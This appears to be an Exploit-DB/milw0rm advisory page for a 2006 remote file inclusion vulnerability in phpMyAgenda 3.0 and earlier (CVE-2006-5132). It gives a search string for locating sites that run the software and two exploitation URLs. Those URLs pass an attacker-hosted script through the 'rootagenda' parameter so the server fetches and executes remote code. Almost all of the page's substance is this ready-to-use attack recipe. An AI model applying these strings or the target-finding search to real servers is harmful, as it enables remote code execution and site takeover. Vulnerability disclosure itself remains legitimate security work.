phpMyAgenda <= 3.0 Final (rootagenda) Remote Include Vulnerability



EDB-ID: 1731 CVE: 2006-5132 OSVDB-ID: 29151
Author: Aesthetico Published: 2006-04-30 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

Rating

(0.0)
Prev Home Next
Title: phpMyAgenda <=3.0 Final - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: phpMyAgenda
URL: http://phpmyagenda.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by phpMyAgenda"
-----------------------------------------------------------------

Exploitation:

/agenda.php3?rootagenda=http://www.yourspace.com/yourscript.php?
/agenda2.php3?rootagenda=http://www.yourspace.com/yourscript.txt?

# milw0rm.com [2006-04-30]






Comments

No comments so far